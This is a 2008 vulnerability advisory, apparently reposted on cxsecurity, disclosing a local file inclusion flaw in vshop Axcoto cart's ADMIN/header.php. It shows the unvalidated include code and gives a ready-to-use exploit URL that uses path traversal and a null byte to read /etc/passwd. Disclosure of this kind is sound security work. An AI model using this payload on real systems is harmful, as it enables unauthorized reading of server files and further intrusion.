vshop - Axcoto cart <= 0.1alpha / Local File Inclusion Vulnerability

2008.10.26
Credit: Pepelux
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= vshop - Axcoto cart <= 0.1alpha / Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= $ Program: vshop - Axcoto cart $ Version: <= 0.1alpha $ File affected: ADMIN/header.php $ Download: http://sourceforge.net/projects/vshop/ Found by Pepelux <pepelux[at]enye-sec.org> eNYe-Sec - www.enye-sec.org --Bug -- 4. if (!$language)$language="ch"; 5. include_once("../lib/lang.".$language.".php"); -- Exploit -- http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00

References:

http://seclists.org/bugtraq/2008/Oct/0176.html


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top